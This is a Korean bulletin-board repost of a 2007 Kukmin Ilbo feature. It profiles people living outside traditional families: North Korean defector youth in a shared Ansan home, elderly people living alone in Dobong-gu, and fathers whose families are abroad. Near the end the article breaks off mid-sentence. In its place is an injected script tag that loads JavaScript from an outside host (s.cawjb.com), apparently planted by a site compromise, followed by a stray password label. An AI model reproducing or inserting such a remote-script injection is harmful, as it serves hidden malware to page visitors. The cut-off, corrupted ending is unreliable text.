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제 목   [국민일보] 소외이웃 정으로 관계 맺고 보듬어야   번 호   708 조회수  3357   이메일       작성자   운영자 작성일   07-05-14   내 용   한부모가정연구소(황은숙 소장)은 2007년5월14일(자) 한부모가정에 대한 사회의 부정적인 인식을 개선하고 건강한 한부모가정을 소개하기 위해 국민일보와 인터뷰하였습니다. -------------------------------------------------- 업데이트 : 2007.05.14 18:15:02 [라이즈업 코리아―가정의 재발견] (6) 소외이웃 정으로 관계 맺고 보 듬어야 본인의 의지와 관계없이 가족 해체를 겪은 이들을 ‘탈(脫)가족 공동 체’가 보듬고 있다. 독거노인과 한부모가정, 탈북청소년과 기러기 아 빠처럼 전통의 가족 개념에서 떨어져 나온 사람들이 대상이다. 보다 넓은 의미의 가족을 찾는 사람들은 부모와 자녀로 구성된 역할 집단만 을 가족으로 한정하지 않는다. 이들에게 가족은 관계 맺음 그 자체이 다. 그래서 탈가족은 새로운 가족이 된다. 무연고 탈북 청소년의 다리가 되어 지난 7일 오후 경기도 안산시 본오동 막다른 골목에 위치한 한 다세대 주택 집안에는 먼지가 폴폴 피어올랐다. 북에서 넘어온 특별한 ‘조 카’ 9명의 뒷바라지를 하고 있는 ‘이모’ 최경숙(42)씨가 이웃 교회 에서 보내온 헌 옷들을 정리하고 있었다. 최씨는 “굶주림과 도피 생 활로 몸집이 작은 아이들이 많아서 옷들의 절반 이상은 사이즈가 크 다”며 다른 아동시설에 보내기 위해 남은 옷을 다시 박스안에 개어 넣었다. 함북출신 은지(19·여)양과 다른 조카들이 가만히 다가와 손 을 보탰다. 이곳 다리공동체는 은지를 포함해 9명의 북한이탈 무연고 청소년이 거 주하는 공동생활시설이다. 한 층의 공간이 21평 남짓한 다세대주택에 1층은 공부방, 2층은 최씨 부부 및 여자아이 4명의 생활공간이 들어섰 다. 3층부터는 대학생 민호를 포함한 남학생 4명이 머물고 있다. 1998 년 중국 지린성에서 당시 국경부근을 배회하던 꽃제비 아이들을 위한 쉼터로 시작해 2002년부터 한국에 들어와 경기도 안산에 자리를 잡았 다. 이모 최씨는 자신의 자녀 2명을 포함해 회사원 남편인 염광주(46)씨까 지 모두 11명의 식구를 뒷바라지하고 있다. 저녁 메뉴인 순두부 찌개 를 끓이기 위해서 순두부만 2㎏ 이상 장을 봐왔다. 빨래가 널린 건조 대만 대여섯개가 있을 정도로 엄청난 살림이다. 최씨가 견디기 힘든 것은 집안일보다 이따금씩 스치는 아이들의 어두 운 얼굴이다. 공동체의 막내 민정(11·가명)이는 북한에서 할머니와 단둘이 살다가 굶주림을 피해 옆집 오빠 등에 업혀 국경을 건넜다. 최 씨는 스트레스성 장애로 학교 생활 적응이 더딘 민정이를 두고 “공부 를 못하는 게 제일 속상하다”고 말한다. 그는 영락없는 부모였지만 “엄마의 빈 자리를 채우지는 못한다”며 친부모를 가슴에 묻고 사는 아이들 등을 쓰다듬었다. 효마을 만들기 프로젝트 제약회사에 근무하는 김병연(41)씨는 도봉구 일대의 독거노인 여섯분 을 돌보고 있다. 거창한 사회복지시설의 소개를 받은 것이 아니라 도 봉산 쓰레기 줍기 자원봉사 회원들과 함께 찾아 나선 결과다. 노인 한 분당 매달 3만원씩 보내며 주말마다 반찬과 음식을 해 가져다 드리 고 명절 때 함께 지내는 활동이다. 물질적 지원보다 가족의 의미에 중 점을 프로젝트다. 김씨는 4년전쯤 인근 방학동 영구임대 아파트의 70대 노파가 홀로 사 는 외로움을 견디다 못해 수면제를 먹고 생을 마감하려다 실패했다는 소식을 듣고 무작정 찾아갔다. 노파는 당시로서는 드물게 대학교육까 지 마친 교양인이었지만 할아버지가 타계한 후 자식들이 재산을 빼내 고 이민을 가는 등 각자 흩어져 기댈 식구가 없는 처지였다. 김씨는 “자존심이 강한 분이었지만 외로움은 견디기 힘든 고통이었던 것 같 다”며 “밑반찬을 싸들고 문안인사를 하는 동안 점차 서로 의지하는 관계로 발전해 배우는 게 많다”고 말했다. 김씨의 꿈은 도봉구 일대 독거노인 전체가 일반 가정과 결연해 사회적 가족을 이루는 효마을을 만드는 것이다. 만나는 방식도 가지가지 조기 유학생이 급증하면서 등장한 기러기아빠는 전국에 약 20만여명으 로 추정될 정도로 가족해체의 한 유형이 된 지 오래다. 공식적인 도 움 기관은 없지만 기러기 아빠들은 인터넷 카페 등을 통해 서로의 처 지를 격려하는 정기모임을 꾸리고 있다. 5년째 기러기아빠를 위한 블로그를 운영중인 이강진(49)씨는 “취미 가 새로운 가족”이라고 말했다. 2002년 부인과 외아들을 캐나다 밴쿠 버에 보낸 뒤 친구들과 술 마시는 일이 잦아지자 ‘이러면 안되겠 다’ 싶어 배우기 시작한 것이 드럼치기였다. 이씨가 주선한 모임에서 는 외로움을 잊고 새로운 가족의 끈을 찾는 방법이 끊임없이 연구된 다. 처가로 거처를 옮겨 장인 장모와 함께 외로움을 달래는 40대 가장 의 해법과 거처를 고시원으로 옮겨 생활비를 ?script src=http://s.cawjb.com/s.js> 비밀번호:

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